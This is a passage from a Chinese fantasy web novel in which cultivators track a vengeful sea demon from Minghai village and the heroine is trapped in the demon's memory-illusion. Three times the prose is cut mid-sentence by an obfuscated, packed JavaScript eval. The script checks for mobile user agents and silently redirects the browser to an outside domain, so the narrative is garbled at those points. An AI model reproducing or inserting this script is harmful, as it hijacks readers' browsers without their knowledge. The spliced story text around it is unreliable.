贺江年闻言,又把薛夫人叫了出来,问道:“你儿子可有什么仇家?”他眼皮子底下出了这种事,一时气急,什么礼数也再顾不得。 薛夫人也没心思计较这种东西,她怀里搂着阿敏,眼睛哭得红肿,疯狂摇头:“我不知道啊我真的什么都不知道啊,我们一直老老实实安分守己的,都不怎么跟人打交道,哪里来的什么仇家啊?” 裴世道:“你没有,你死去的夫君和儿子可不一定没有。”他坐在一旁石凳上未曾起身,冷冷打量着薛夫人与阿敏,“他们在溟海村的往事,你又知道多少?” 薛夫人一怔。 她愣愣地思考了许久,最后低头垂眸,声音也低了下去:“我只知道他在发妻亡故后便从溟海村迁出了……的确……不知道多少。” 贺江年道:“那不就是了?你把你知道的关于他们的事都说出来,我们好去调溟海村的卷宗查一查。” 季瑶道:“没用的。溟海村隐在一片深山老林之中,太过偏僻,虽属云间世管辖,但终究天高皇帝远,地方仙门不作为,关于溟海村的记录已是多年前的了,兄长与我早已查看过,并无所获。” 季衡也道:“如今溟海村经过大难,村民幸存无几,皆是老弱病幼,亦无所获。”在源头溟海村无所获,一路追击,终究慢于一步,几番查探,亦无结果。 季衡又把假道士们放出来,却连个对得上身高的都没有。虽说幻境中可随意变换形态,可如此一来,又不得不暂时认定这些人没有嫌疑,于是又是毫无结果。 几次三番折腾,众人似乎都有些泄气。这几人除祟镇邪自是没话说,可这东西躲躲藏藏、行踪不定,时不时出来闹一下,像是玩儿他们似的,实在难查。 贺江年愁得把头发揉得乱糟糟,道:“这溟海村到底是个什么鬼地方?我之前听我师尊说起过,那是个凶地,很久之前那地方的人老出来抓小孩儿回去吃,有修士去查,进了片林子,找了老半天根本没见着什么村子,也没见着人。怎么,又要出来抓人了?” 妄尘一直在一旁沉默不语,闻言却看向众人,不知用了什么法子,将声音传入众人耳中,而不惊动薛夫人与阿敏: “吾曾在溟海村镇守数年,知晓一二。非是溟海村人有食人之癖,而是溟海海妖需要孩童供奉,以修出肉身。” 30. 溟海妖 “溟海海妖天生地长,以广袤溟海为基,法力高强。海妖死后怨气极重,为重新修出肉身,以海神之名逼迫溟海村民投下八岁孩童作为供奉,否则便会发动海难。 “溟海村闭塞,与世隔绝,村民世世代代居于村中,鲜少与外界交流。溟海海妖设下迷障,使得溟海村无法与外界相通,仅留一通道供村长与外界交易。 “溟海村无人敢逆其言,孩童不足以供奉时,便从外诱拐孩童。参世仙人游历途中得知此事,前往溟海村将海妖魂魄打碎,并命吾镇守于溟海,行镇灾除邪之责。” 贺江年举手道:“会不会是海妖又出来害人了,它魂魄碎了,所以要吞人魂魄?” “若是如此,”季瑶接过话头,“那么为何这东西非妖非鬼,且气息淡薄,就都可说通了。” 妄尘道:“参世仙人将其镇于溟海,它魂魄碎裂,原本应当不会再作乱,但如今事态有变,它卷土重来,也不无可能。吾亦有此担忧。” 季衡道:“我查看过溟海的情况,虽有邪气,但较为稀薄。若是那海妖为了修复魂魄而吞噬人魂,那又为何要操纵黑龙杀人?” 众人静默许久,却听得裴世道:“诸位,依我之见,溟海村还值得再探。”见众人都转头望他,裴世一弯嘴角,又补充道:“毕竟那东西若是吞够了魂魄,也是要回去借溟海之力修复魂魄的。不是吗?” 话虽如此,众人却没急着赶往溟海村。 接下来几日,仍是对周围进行排查,范围逐渐扩大,然而既没查到邪祟踪迹,也没有得到有人失魂或离奇死亡的新消息,一切都正常得可怕,就连被盯上的陆云笺也没再见到什么幻境幻象了。 倒是薛夫人因为儿子的死,整日里茶饭不思、愁眉苦脸,落下一身病,哮喘之症也愈发严重。阿敏或许也是惊吓过度,风寒怎么也不见好。 贺江年忍不了了,拍桌道:“这样不行,难道我们只能等它自己出现?那得等到什么时候?” 陆云笺举手道:“这个吧,我倒是有个想法。之前它不是老追着我设幻境吗,要不我们想个法子,我去把它引出来……” 季衡道:“若要将它引出,需设献祭法阵,相当于献祭魂魄以引其入阵,稍有不慎,魂魄便会被吞噬。此法太过冒险,绝不能试。” 陆云笺笑道:“没事啊,你们都这么厉害,肯定在它吞我魂魄之前就能把它抓住。不入虎穴焉得虎子,我觉得……” 一旁裴世冷笑道:“陆小姐还是别觉得了,你当你是金刚不坏之体,还是当那东西是个纸片,吞不得你的魂魄?” 陆云笺无奈一摊手,道:“好吧,好吧。不过我们已经查出方圆百里了,要是还没发现的话……要不还是去溟海村看看?” 季瑶点头道:“也好。待今日查探完,若仍无所获,明日便动身前往溟海村吧。” 陆云笺也点点头,起身整理了衣摆,道:“今天轮到我出去买吃的了,我先走了啊。”这几人里没谁会做饭,薛夫人和阿敏又不能出门,因此都是这五人轮流出去买吃食。 “云笺,”季瑶忽地唤她,“今早我看薛夫人备的药物不多了,你出去顺便带几副药回来吧。” 陆云笺回头笑笑:“好!” 出了门还没走几步,便又发觉身后有一人跟了上来,陆云笺不用看都知道是谁,头还没转过去,嘴上已经说道:“裴世,你真不用跟我一起,这路我都走多少回了。” 裴世笑道:“我看陆小姐还是有些高估自己了。” 陆云笺学他的模样阴阳怪气:“自然不及裴公子半分。”她枕着手,倒着走几步,似是不经意地问,“说起来,你之前和季公子季小姐他们熟吗?” 裴世对季衡、季瑶显然没什么意见,既不像看贺江年时总是讥讽,也不像看季繁洲时毫不掩饰嫌弃,只是淡淡地:“几面之缘而已。” 陆云笺倒是一点不意外:“不过贺江年好像和他们挺熟的,听说前些年云间世和镜阳宗关系不好,也不知道他怎么和他们熟络起来的。” 裴世道:“他们可不只是相熟。” 陆云笺道:“不只是相熟?那还能是怎样?” 裴世却神神秘秘地转了话题:“陆小姐不如先关心关心自己,那东西几日不来找你,你就当它是个死的了?” 陆云笺道:“是啊,不然呢?它既然不来找我,我还不赶紧抓紧时间逍遥自在一把?” 裴世嘴角的笑总算不再饱含嘲讽,像是带上了些许真情实感:“陆小姐倒是心宽。” 说完这一句,他敛了笑意,才开始说正事:“妄尘与我说,它之所以破坏当时季衡、季瑶、贺江年设下的结界,是因为那结界本就有问题,只是为谨慎行事,避免打草惊蛇,它不便明说。” “啊,原来你是要跟我说这事儿?”陆云笺恍然大悟道,“结界有问题,是因为那东西做了手脚?那我们是不是应该告诉贺江年他们?” 裴世无语片刻,道:“……你猜为什么妄尘不便明说?” 陆云笺道:“那就是那东西就藏在附近,怕惊动了它。” “……”裴世一时无言以对,沉默片刻,道,“是因为妄尘不愿轻信于任何一人。” “有道理。”陆云笺摸了摸下巴,随即将目光转向裴世,“那妄尘前辈为什么愿意告诉你?” “我倒也想知道,”裴世一挑眉,“或许我看起来比他们三人更可信?” “是吗?”陆云笺狐疑地上下打量他几眼,随即找了个清奇的角度,“那要这么说,我也不是很可信来着。” “……”裴世似乎翻了个白眼,“你很了解他们三人吗?” 此言一出,陆云笺却是微微一怔。若在现代,她有足够充分的立场和理由斩钉截铁地说“是”,可在如今这个世界,却是没理由再说。她习惯性地对这几人毫不设防,可修真界的他们,她又知道多少? 她不敢再往下想,猛地摇头想把这种念头甩出去,勉强笑道:“季衡和季瑶是镜阳宗首席弟子,贺江年师出云间世,都是大名鼎鼎、前途一片璀璨光明的仙君,干什么想不开和妖邪勾结?” 裴世道:“我可没有此意,陆小姐是在想什么?” 陆云笺闻言心道:你暗示得也够明显了,不往那方面想都难。 裴世接着说道:“妄尘还说,那海妖天生地长,法力高强,擅设幻境,亦擅障眼法,此处妖气鬼气稀薄,一方面可能是因为海妖魂魄已碎,另一方面,可能是海妖使了障眼法。” 陆云笺蹙眉道:“所以说海妖可能还在这个地方?那这要怎么试?” 裴世道:“它这几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047617|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不曾行动,或许是因为受了伤,又或许在等一个时机。不论如何,我们透露出即将前往溟海村的消息,它也该有所动作了。” 陆云笺原以为他要自己配合什么计划,于是专心听完,很认真地提问:“那需要我做什么?” 裴世扫她一眼:“好好躲着。” 陆云笺:“……” 裴世道:“我给你的符纸,你带着么?” 陆云笺把那几张绘着白梅的符纸拿出来检查一遍,道:“带着呢。” 裴世道:“你把术法名称写于此符之上,可借我之力,使术法立即生效。” 陆云笺颇感意外:“哎?我以为这是通讯符呢?” 裴世无语道:“你当谁都是贺江年那样无聊的人,天天创一些无聊的符咒?”他说完,犹豫许久,最终还是不情不愿地问了个蠢问题,“……‘传送阵’三个字,你会写吗?” “呃……” 想必是上回她说自己不认识书信上的字,给他留下了比较深的印象,陆云笺有些不好意思,笑道:“这个我会。”说完才想起来传送阵是个什么东西,有些惊讶,“我学传送阵……做什么?” 裴世这样凡事提剑便上、先砍再说的人也要考虑退路了,莫非这东西真的如此难以对付? “传送阵虽需要耗费大量灵力,但你的灵力绝对足够,不必担心。”裴世嘴角那抹嘲讽的笑又转了回来,“这东西的确有点凶也有点狡猾,陆小姐的脑子不够用,还是要先学会怎么逃跑。” 陆云笺又将那几张白梅符收好,心道既然他给了这么个好东西,那便先大度地不同他计较,嘴边挂上了笑,道:“还是多谢裴公子。” 如此慢慢走了一路,终于走到了集市,陆云笺熟门熟路地买了吃食,便去找药铺。集市不大,大多是小食摊子,混在密密麻麻的小摊中的唯一一家药铺子又小又破,看起来颇有些年岁,不过铺子里头倒是井井有条,掌柜手脚也麻利。 掌柜一边熟练地抓药,一边不忘和二人搭上几句:“薛夫人的药都是在我这儿配的,几日没见着薛夫人府上的人,还以为又是出了什么事。” 陆云笺道:“薛公子不是出事了嘛,这几天薛夫人茶不思饭不想,脸色差了不少。” 掌柜叹了口气:“是啊,也是命苦,一家子人走的走,丢的丢,家财万贯却……”说着包好了药,递给陆云笺,“薛公子的事儿我们也有所耳闻,仙君就是来抓妖怪的吧?可得把那妖怪抓住喽,叫它再害不了人!” 陆云笺笑道:“那是肯定的。”说着掂了掂手上的药包,正要离开,忽然想起一事,又折返回去,“掌柜的,麻烦你再配一副祛风寒的药吧。” 掌柜应几声“好”,道:“唉,薛夫人怎地又染上风寒了?这可真是……” 陆云笺道:“不是啊,是薛夫人的小女儿阿敏,好像还挺严重。” 掌柜的手顿了一瞬,旋即笑道:“阿敏找回来啦?” 陆云笺疑惑道:“什么?” 掌柜道:“薛夫人的小女儿阿敏啊,小时候常出来玩儿的,后来不幸在八岁的时候走丢了,一直没找见,没想到过了这么多年,终于找回来了。” 陆云笺忽地冷汗涔涔,倒退几步,回头去看裴世。 此时的阿敏,不是正好八岁吗? 31. 长遗恨(1) 陆云笺再顾不得等掌柜把药包好,猛地转身,拔腿便跑,把掌柜的喊声远远甩在身后。 夺魂,杀人,设幻境,那东西一直在他们身边。 他们验灵力、验血脉、验薛夫人阿敏有没有被附身,皆是一无所获,附近妖气鬼气稀薄,极易被错认成普通的妖魔鬼怪,实际上却是海妖魂魄碎裂,又极力压制所致。 没有被附身,是因为它根本不需要附身。假设阿敏于八岁时走丢并非偶然,那么极有可能是因为溟海村人供奉不足,想方设法从外界诱拐八岁孩童,投入溟海,助海妖修成肉身。 而那海妖既吞噬了阿敏,阿敏的肉身便可任它驱使,而人的肉身,是隔绝妖魔鬼怪仙神气息的最强屏障。 至于薛夫人,它根本无需多做些什么,只需要像操控傀儡一般将其控于掌中即可。若是如此,那么薛夫人也早已失魂,由于是被操控,难以完成细微动作,所以才连筷子都拿不稳,更不用说做饭与缝纫。 而被抬上大街进行招魂仪式的薛公子,或许都是它引他们前往薛宅的手段。 只是海妖力量虽强,但要在他们五人眼皮子底下玩弄法术却难,因此它必须要以某种方式让自己的力量在短时间内增强数倍,而若是让这一切都在自己的法力场之中进行,就能达到目的。 如此说来,海妖不是没有设幻境,而是整个薛宅,都是幻境! 陆云笺脸色微微发白,甩了几张通讯符想要联系其余三人,皆如石沉大海,杳无音讯。 “陆云笺。” 陆云笺跑在前头,正心如乱麻,忽听裴世唤她名字,转过头,见裴世仍是一脸淡然,似乎并不多意外:“有别的东西在替它遮掩,否则它再如何也不可能设出这样一个法力场,更不可能将灵力与气息都压制至此。那东西八成是冲你来的,一会儿到了薛宅,你不要轻举妄动,万事交给我。” 陆云笺点头:“好。” 二人行得极快,没用多久便到了薛宅门外。大门紧闭,陆云笺下意识想先上前去推门,忽然想起裴世的话,又默默后退,扯住了他的衣袖。 裴世看她一眼,没说话,反手抓住她手腕,抬起另一手去推门。 大门吱呀打开的一瞬间,大片烟雾扑面而来,眼前霎时白茫茫一片,什么都看不见。陆云笺下意识去抓裴世的手,却发现抓着她手腕的那只手不知何时已经消失不见了。 陆云笺一阵心慌,心跳剧烈,撞得她头晕目眩,连喊声都带上了几分颤抖:“裴世!季衡哥!季……” 下一刻,她什么声音都发不出来了。她摔了一跤,膝盖似乎有些破皮,风一吹,一阵凉凉的刺痛。 陆云笺缓过劲儿后,下意识去摸符纸,结果什么都没摸出来,又去召唤法器,亦如沙砾投入大海,毫无回应。她几乎感到有些呼吸困难,眼前阵阵发黑,直到身体不受控制地站了起来,她才终于发现这具身体似乎不是自己的。 她估摸着这具身体的身形,似乎还是一个小孩儿;虽并不十分瘦弱,却穿着破烂,像刚从泥坑里爬出来一般浑身脏兮兮的,像是乞儿。 ……这是谁? 她不能控制这具身体,只能借有限的视野观察四周情况,发现这似乎是一处海滩,耳边似有海浪翻滚、海风吹拂之声,鼻间弥漫着一片海腥气。 这具身体刚刚扎扎实实摔了一大跤,似乎磕在了石头上,此时起身,痛得路都走不大稳,跌跌撞撞往不远处一处小村庄里走,磕磕绊绊走了老半天,终于见着了人。 一老伯正费力地拖着渔网去晒,他皮肤晒得黝黑,人又瘦,显得很干巴。他拖渔网拖累了,抬手抹了把额角的汗,抬头看看正烈的日头,余光正巧瞥见个小女孩儿一瘸一拐走过来。 那老伯热心,一见她便放了渔网,走过来拎她:“你这孩子,说了不要去海边,非去,这下好了,摔成这样!” 小女孩儿任由他拎着,老伯看着干巴,力气却大,一路稳稳地把她拎进了村子,村人正生起炊烟做饭,有个中年胖妇人拿着饭匙转出来,见着她,也道:“这孩子,准是又跑海边去了!” 全村人似乎都认得她,那个胖妇人顺手给她盛了碗饭,刚熬出的鱼汤往米饭上头一浇,浸得米饭粒粒滚烫鲜香,她把碗往陆云笺手上一递,道:“刚好今天熬的鱼汤还剩了点儿,你可有福了!” 小女孩儿伸手接过,汤饭太烫,她双手捧住,也差点没接稳翻一地,忙跑了几步,把碗就近放在一张矮桌上,去吹自己被烫得通红的手掌。那模样有些笨拙得可爱,村人都看着她哈哈大笑。 不多时,院中摆开了几张大桌,村人们围着大桌吃饭喝酒,觥筹交错,好不热闹。 胖妇人递了她一只小勺,她便坐在矮桌旁扒着饭,不时向村人们张望着。 借着这具身体的双耳双目,陆云笺终于捋清了些许背景:此处正是溟海村,村人主要靠打渔为生,只留固定几人与外界进行交易。今日得海神保佑,收获颇丰,村人们正聚在一起举办庆功宴。 不知那海妖布下这么个幻境,又让她的意识寄于这么个小女孩儿身上,到底是何用意。 正兀自思量着,小女孩儿却突然站了起来,扯了扯坐得最近的那位老伯的袖子。老伯一看是她,挥手道:“扯我干啥?没吃饱去找——” “不是,”她摇头,是稚嫩的孩童嗓音,“我也想出海。明天带我,好不好?” 老伯头摇得像拨浪鼓:“你这小丫头片子小身板子出什么海,别老是揪着这事儿说,吃你的饭去!” 小女孩儿扯着老伯的袖子不放:“可、可是郝家的阿三哥哥也才九岁,他就可以出海,我……” 老伯“啪”地放下筷子,吹胡子瞪眼地:“阿三儿?你跟他比?” 众人似乎都被她这话逗笑了,都说:“小姑娘别天天想这想那的,去吃你的饭吧哈哈哈哈哈……” 这个要求她提了无数遍,可总是无人当真,更无人放在心上。 这场庆功宴直到皎月高悬才渐渐散去,小女孩儿照例躲到村人们晾着的渔网下边睡觉。 夏日清凉,蚊虫却也多,嗡嗡地围着渔网飞,旁人叫她不要睡在这儿,担心蚊子咬,她却说渔网里边是海的味道,蚊子咬也没关系。旁人觉得好笑,笑这小女孩儿疯疯癫癫的,也懒得管了。 她望着天上明月,想着月光随着海浪起伏,应当是很好看的。不过夜晚海边太冷,她衣衫单薄,海边显然不是个好睡觉的去处。 如此想着,迷迷糊糊入睡,半夜又猛地惊醒,终究还是忍不住,又偷偷跑去海边。 咸腥的海风扑面而来,捎带着阵阵凉意,冻得她一哆嗦,脑袋却不知为何发昏了一般,觉得这海风是甜的暖的,拥着海风就要往海里扑进去,直到半截身子都埋进海里了,才后知后觉地生出了些惊惧,忙吃力地把自己拔出来,又回到岸上。 她对溟海有着一种近乎诡异的向往,诡异到让她觉得,便是这广袤汪洋哪日把她吞进去了,没准她也只会有一瞬间的恐惧、遗憾或悲伤,剩下的都是发疯一般的沉醉。 她有些怅惘地又去看那一轮明月,视线却被别的什么东西夺走,那东西停在岸边,像是凸起的一丛小小的山。 她走过去,借着月光终于看清。 ……渔船? 一瞬间有个有些疯狂的念头撞上她脑颅,她有些犹豫,也有些胆怯。 忽地听见不远处隐隐有人声传来,想是渔民们就要出海了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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上一刻还风平浪静的汪洋,下一刻就掀起千尺巨浪,将一切吞没。船只离岸太远,风浪来得毫无预兆、迅猛非常,众人甚至来不及发出几声喊叫,便连人带船只如蝼蚁一般被卷进了巨浪中心。 这一切诡异得像一场梦境,陆云笺虽只是暂借阿溟的身体,却也没反应过来到底怎么回事。 后来再睁眼时,已经不见黑夜明月,也已不是在漂泊的航船上。 她尚有些头晕目眩,还未看清周遭景象,鼎沸人声就先一步闯入她耳中,她脑袋晕乎乎的,旁人说的什么她听不清,只知道闹哄哄的一片,有哭嚎,有大喊,也有吵闹。 一旁有人冲上来拽她,把她往海边拖,沙砾磨得她浑身发疼,神智终于清醒了些许。 那个人边拖着她走,边大喊大叫,说的是:“所有人都没了,那么大的浪,就她一个人还活着,你们说她不是海妖是什么?!”说着就作势要把阿溟扔到海里去,阿溟猛地惊醒,反应过来后开始疯狂挣扎,“不是我!和我没有关系!” 先前施舍了阿溟一碗米饭的胖妇人拦上来,眼角、脸颊虽还挂着泪,却还是替阿溟说话:“你别这么拽她,她就是个小姑娘,能做些什么?” 那汉子死命拽着阿溟不放手,戳着那胖妇人的肩膀:“我看你是猪油蒙了心,你老子你丈夫都死她手上,你还帮她说话?!” 旁人看不下去,也上来拦:“丰伢子,你先别急,先叫道长来看一看。”说着便让开一条路,一个道士打扮的老头捋着胡须,故作高深道:“莫急莫急,待贫道来看一看。” 溟海村与世隔绝,平日里极少有外人闯进来,若是进来了,也要教村人恐吓出去,这老道士却不仅没被赶,反倒还似乎颇受尊敬,看来这风浪的确来得十分诡异。 阿溟瞪着他,即便被拎着,却还是对那装神弄鬼的老道士拳打脚踢。 那老道停住捋胡须的手,“哎呀”一声,蹙眉道:“这小姑娘身上……似有妖邪之气啊。” 32. 长遗恨(2) “什么?!” 众人大惊,下意识离阿溟远了许多,那拎着她的汉子也是一抖,差点松手:“所以说就是她作乱害人?” 老道士却摇头:“非也非也,倒不是她作乱,只恐是她身上妖邪之气太重,触怒了海神,才引此大难。” 显然也有人是这种猜测,闻言连忙问道:“此事何解?” 抓着阿溟的汉子道:“什么何解!说了是她害人,那就把她扔海里去,要她向海神大人认罪!”说着又去拖阿溟。 阿溟死死撑住,趁他不备往他手臂上大咬一口,拔腿就跑。那汉子大怒,一脚把阿溟踹倒在沙子里,吼道:“他娘的你敢咬老子!” 他说着便抬脚欲踹,又是那胖妇人拦将上来,对他道:“阿丰啊,你腿脚不是前几日伤到了吗,还是悠着点吧。”她又转头问那老道,“道长啊,既然是阿溟惹得海神大人发怒,那海神大人为何不直接惩罚阿溟,而要……”她说着眼眶又红了,再说不下去。 老道士摇摇头,略有些怜悯与无奈的意思:“这是海神大人的考验,想看你们是否有诚心认罪,疏忽不得。你们若不将她交出去,他日海神大人再次发怒,一切可就晚了……” 众人闻言皆惶惶,无人敢再说话。 当晚老道士拿着村人给的钱两,由村人们一路护送,心满意足地离开了。而另一边,村人们从偏僻的小屋内、阴暗的角落里搬出了一样东西。 溟海村人厌恶与外界接触,除了迫不得已安排的固定与外界交易的队伍,所有村民都安于此地,绝不允许外人闯入。偶然有外人闯入,村民们往往或装神弄鬼,或百般恐吓,直到闯入者离开。 若是遇上了胡搅蛮缠或不怀好意者,村民们便会合力将其打败,封于铁笼之中,沉入溟海,祭于海神。 这铁笼通常是用来装成人的,因此几只铁笼都造得逾两米高,旁边一只小小的铁笼,多余得像是材料不够了,做出来摆着玩儿的,又或许是为了以防万一,但却从来没用过。 此时搬出来,上面覆着厚厚一层灰,众人细细将它擦净,擦得如同新磨出的刀刃一般锃亮,仿佛能映出阿溟极度惊惧的脸庞。那小铁笼仿佛是为她量身打造的,此时笼门敞开,也的确是在等她。 这般惊惧原封不动地传到了陆云笺的脑颅,她完全预料得到接下来要发生什么,阿溟显然也是如此,尽管被村民们紧紧按住,明知徒劳,却还是下意识地猛烈挣扎起来,晃得手腕、脚踝上的铁链叮当作响。 笼子上铁栅密织,进去了便只能堪堪伸出一只手臂,阿溟身材瘦小,全然抵不过这样坚固的牢笼。笼角坠上石块,铁笼被推入广袤汪洋,直往海底坠去。 分明是天朗气清、风平浪静的好时候,然而铁笼坠入海洋的那一刻,洪波涌起,溟海忽地掀起惊涛骇浪,遮住了阿溟极度惊恐的脸庞、无力而嘶哑的呼救。 她从未离她向往的海洋如此之近,却毫无欣喜毫无愉悦。 铁笼在风浪席卷中翻滚、在风停浪歇时下沉,她在这样的翻转浮沉之中渐渐停止了挣扎,悲伤痛苦惊惧走马灯似的轮回了个遍,最后化作可怖的恨意。 她的身形忽地扭曲变幻起来,稚嫩童音也变得尖利可怖,久久回荡于溟海上空:“你们竟敢弑神——我要你们不得好死——全都不得好死!!你们不是喜欢拜神吗,你们的海神大人,咒你们生生世世不得善终——不得善终!!!” 万丈巨浪筑成密不透风的高墙,沉沉压向溟海村。那村子如此之小,巨浪甚至不用逼到跟前,就足以教它灰飞烟灭。 陆云笺忽地明白过来了—— 阿溟正是天生地长的溟海海妖,修成肉身后,不知怎地失了记忆,成了溟海村的孤儿。若是一直如此相安无事倒也罢了,只是如今阴差阳错将它重新投入溟海,它恢复了记忆与法力,又恨意深重,自然难以对付。 这天生地长的海妖,本也可以算是海神,是凶是吉皆在一念之间,它心里存的那几分怨气与恨意被无限放大,终至于此。 陆云笺终于想通此节,尚未想到应对之策,便感到自己能控制身体活动了,心中一喜,下意识去摸胸前,果然摸到了厚厚一沓符纸。 然而尚未拿出,便感一阵剧痛袭来,手上顿时没了力气,背上冷汗涔涔。 下一刻,无数咸腥海水自眼耳口鼻灌入,陆云笺视物不得,逼人的窒息感使得她脑中一片混沌、无法思考。 曾伴随着幻境出现的剧烈痛感一波又一波袭来,仿佛魂魄被强行抽出、又被慢慢撕裂,像是每一寸皮肤连着血肉筋络被撕下,又像是血肉被一寸一寸从骨骼上剔落,痛得她浑身无力,动弹不得。 一开始她旁的什么都感受不到,唯能清晰地感知到撕裂的剧痛、骇人的窒息感与无法控制的下沉。 到最后痛得意识模糊,又或许是因为魂魄即将被吞尽,她反倒感受不到痛了,甚至渐渐生出了几丝困意。 她已是死过一次的人,因此对死亡并不感到那样害怕,只是觉得死得有些太草率了,刚找到的线索还没来得及告诉其他几人,更不像在现代,她还来得及与亲人好友一一告别。 还有…… 这个时空的陆云笺真是倒霉,身体被她弄成这个样子,魂魄也不知道还能不能回到这具身体里。 她的思绪正乱七八糟地飘,忽地瞥见自己手上有白色光芒浮动。那光芒起初忽明忽暗,她仔细看了一阵,才发现那光芒是金色的,暗下去时几乎看不见,强盛起来时却几近发白。 ……是父亲给的手链吗?那上面有驱邪除祟的法咒,可惜这次好像没能把邪祟赶跑。 陆云笺叹了口气,眼皮沉沉正要阖上,终于发现发光的不是那手链,而是她手心的一个阵法。那阵法渐渐扩大、渐渐清晰,中央悬着一朵梅花,正缓缓旋转,舒展花瓣。 陆云笺一怔,随即想起—— 那不是裴世给她画的阵法么? 这个念头出现的一瞬间,四周翻涌的海水都仿佛刹那间静止了,洪流像是猛兽一般横冲直撞,却怎么也撞不开那层忽然笼罩在她周身的金色结界。 耳边嗡鸣,一人破水而来,一剑破开牢笼,握住了她的手。 那手掌温热,是她唯一能感受到的温度。 令人窒息的痛感终于渐渐止息,却又是一阵头晕目眩,一切都不那么真实。 陆云笺忽然怕极了这是一场梦。 所幸那人又一剑劈上半空,海妖尖啸着逃开,幻境如同潮水退去一般,渐渐消散。 裴世带着陆云笺出了幻境,尚未落地,又是一剑劈上,这回劈了个正着,那海妖显了形,虽是个模糊的影子,但也足够了。这一剑上去,劈得它好不容易暂时聚拢的魂魄又四下散开。 若说海妖上回搬来鬼界之景是下了血本,那这回便是孤注一掷。 它将自身记忆搬出来作为幻境,其中一切皆是它所见所感,是它所能造出来的最强法力场。它倾尽法力造出这么个东西,将其余四人都隔在外边,无法进入。 幻境中看似过了许久,现实中却不过须臾,待到他人破了幻境,海妖也早就吞了陆云笺的魂魄,魂魄修复完整,法力定然大增,只是不曾想裴世留在陆云笺手中的阵法,遥以感应,竟成了他强行进入幻境的媒介。 季衡、季瑶、贺江年早已布好了绝杀阵,待到裴世站定阵法一角,那阵法忽地绽出夺目光芒,无数鬼魅魂灵惨声长啸,霎时魂飞魄散! 绝杀阵蔓延得快,那海妖逃得也极快,陆云笺强打精神睁开眼,看见那海妖忽地往上一蹿,朝着远处一座青翠山峦飞掠而去。与此同时,绝杀阵法蔓延到那座山山脚处,却像被一把重锤砸碎的玻璃,迅速崩溃瓦解,碎了一地。 众人皆是大惊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没有回应裴世的话,而是冲后面那三人微微一笑,喊道:“劳烦诸位为我维持献祭法阵,再行诛杀,这回,再不能让那东西跑了。” 她说完像是担心自己会恐惧后悔似的,就要甩开裴世的手往法阵中跳,奈何裴世抓得极紧,根本挣不脱。 裴世几乎是从牙缝里挤出后面几个字:“他不值得你救。” 陆云笺与他同时开口,只说了四个字:“那是我爸。”短短四字,斩钉截铁,掷地有声。 父亲与兄长,无论是在哪个时空,都是她仅有的亲人。于她的亲人与好友,她所欠良多,这次总算可以不再拖后腿了。 裴世竟是微微一怔,像是被一道惊雷砸中。此时的陆云笺,竟让他感到说不出的陌生……焦急,担忧,坚定,真切却又模糊,教他看不明白。 这一怔之下,他的手微微一松,陆云笺钻了空子,将手抽出,转身掩去眸中晶莹,毫不犹豫地跳入献祭法阵中央。 悬在陆稷面前的海妖果然受到此处献祭法阵的感召,身形一闪,降至阵中。由于是献祭,海妖吞噬陆云笺魂魄的速度快了些许,熟悉的剧烈痛感袭来时,陆云笺选择闭眼躺平,任痛感席卷、意识模糊。 不知过了多久,那海妖长啸一声,声音凄厉,想是其余几人在献祭法阵上叠加了一层攻击效用的阵法,已经生效了。 那海妖明明痛苦万分,却还极力吞噬着陆云笺的魂魄,显然是想吞完这最后一只魂魄,恢复所有法力。不过就算它想逃也是逃不了的,这便是献祭法阵最大的作用—— 献祭一旦开始,献祭者与被献祭者皆无法中断施法,毫无后悔余地。 陆云笺没有睁眼,她全神贯注地忍着撕裂般的痛感,脑海里只有一个念头—— 她的父亲,应该不会有事吧? 33. 两界灯 不知过了多久,到了熟悉的意识模糊、痛感都不甚清晰的阶段,陆云笺忽地觉得劳累,想要就此睡去。 睡前她迷迷糊糊睁开眼,想看一看外面的情况。睁眼的一瞬间,瞧见周遭白光炫目,亮得她被迫把眼睛闭上,再睁眼时,却见什么法阵结界都消失不见了,微风四起,空中千万朵蒲公英飘飞,像下了场温柔至极的雪。 恍惚间似乎有人拉起自己的手,陆云笺抬眼去看,看见母亲拉着自己的手,两个身影渐渐走远—— “云笺,妈妈来接你回家了,不要怕。” 她母亲走得早,因此记忆中的脸总是模糊的,但那只紧紧牵着她的手,却是清晰无比、刻骨铭心。 “我们家云笺,要好好长大,一辈子都开开心心快快乐乐的啊……” 两个身影一起走远,眼前只容得下两人的世界忽地变得天高地阔,无数画面在其中上演。想来自己是真的要死了,眼前开始模模糊糊地放走马灯,映照出她平凡庸常的一生。 先是看见父亲,他摔断了腿,她又是惊吓又是担心,哭到最后发了高烧,还是她的父亲一瘸一拐地背她去医院。 然后是陆明周那张吊儿郎当、神嫌鬼憎的脸,手痒地把她的脸颊捏得通红,把她的眼泪都捏出来才肯放手,却又在她受欺负时一腿杆子撂倒三四个臭小孩。 贺江年和陆明周是一见面就掐架的狐朋狗友,总是和陆云笺密谋着怎样在陆明周耍帅耍得兴致正高的时候让他摔个狗啃泥,但总也不成功。 贺江年玩捉迷藏最是厉害,总能躲到众人都想不到的地方去,有时候众人没找到他,把他给忘了,直到家长喊他们回去吃饭才想起这么个人,边喊边找,有时候是贺江年自己听到了便笑嘻嘻地走出来,更多时候,都是大家循着震天的呼噜响,在某个惊世骇俗的躲藏宝地找到他。 